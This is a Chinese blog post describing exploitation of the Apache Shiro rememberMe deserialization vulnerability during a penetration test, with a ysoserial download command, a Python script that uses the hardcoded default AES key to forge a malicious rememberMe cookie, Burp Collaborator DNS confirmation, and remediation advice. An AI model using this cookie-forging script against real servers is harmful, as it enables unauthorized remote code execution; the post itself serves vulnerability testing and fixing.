美文网首页框架建设收集
Shiro反序列化漏洞利用

Shiro反序列化漏洞利用

作者: 粥丶稀稀 | 来源:发表于2019-06-20 01:49 被阅读10次

    讲一下笔者今天在渗透测试过程中遇到的Shiro反序列化漏洞的利用过程。

    首先为大家介绍一下shiro反序列化漏洞。Apache Shiro是Java的一个安全框架。对比另一个安全框架Spring Sercurity,它更简单和灵活。在2016年中该框架爆出重大安全问题,shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值-->Base64解码-->AES解密-->反序列化。然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。

    图1 shiro框架网站

    Shiro反序列化漏洞检测过程:

    1.下载ysoserial

    wgethttps://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar

    2.构造恶意请求数据

    反转CookieRememberMeManager的处理流程进行恶意请求数据构造,首先使用ysoserial将恶意数据进行序列化,其次将序列化后的数据进行AES加密,然后将AES密文进行BASE64编码,最后得到精心构造的包含恶意请求的rememberMe内容。以上过程均可通过python脚本来实现,脚本如下:

    import sys
    import base64
    import uuid
    from random import Random
    import subprocess
    from Crypto.Cipher import AES

    def encode_rememberme(command):
        popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.5.jar', 'URLDNS', command], stdout=subprocess.PIPE)
        BS   = AES.block_size
        pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
        key  =  "kPH+bIxk5D2deZiIxcaaaA=="
        mode =  AES.MODE_CBC
        iv   =  uuid.uuid4().bytes
        encryptor = AES.new(base64.b64decode(key), mode, iv)
        file_body = pad(popen.stdout.read())
        base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
        return base64_ciphertext

    if __name__ == '__main__':
        payload = encode_rememberme(sys.argv[1])   
        print "rememberMe={}".format(payload.decode())

    图2 成功生成恶意rememberMe内容

    3.接收服务器请求

    使用burpsuite自带的“collaborator client”DNS隧道利用工具,用来接收服务器的DNS查询。

    图3 burp collaborator

    4.发送请求

    图4 发送请求

    5. 成功收到请求

    图5 成功利用

    接收到来自服务器的DNS请求后就证明了该服务器确实存在shiro反序列化漏洞且能够利用。

    修复建议:

    1.将shiro升级到1.2.4之后的版本。

    2.在代码仓库中搜索

        关键字:

    securityManager.setRememberMeManager(rememberMeManager);+setCipherKey(Base64.decode("

    排查是否有框架整合了shiro,是否使用了存在漏洞的代码。如果发现请删除securityManager.setRememberMeManager(rememberMeManager);或者修改key,确保key的唯一性。

    3.将shiro整理到危险框架名单中,对新业务使用shiro以及响应的整合,需要做安全提示,降低未来存在漏洞的风险。

    4.代码审计中添加响应规则,不仅要检测pom.xml中shiro的版本,也要检查代码中是否包含这段官方删除掉的代码。

    相关文章

      网友评论

        本文标题:Shiro反序列化漏洞利用

        本文链接:https://www.haomeiwen.com/subject/iysrqctx.html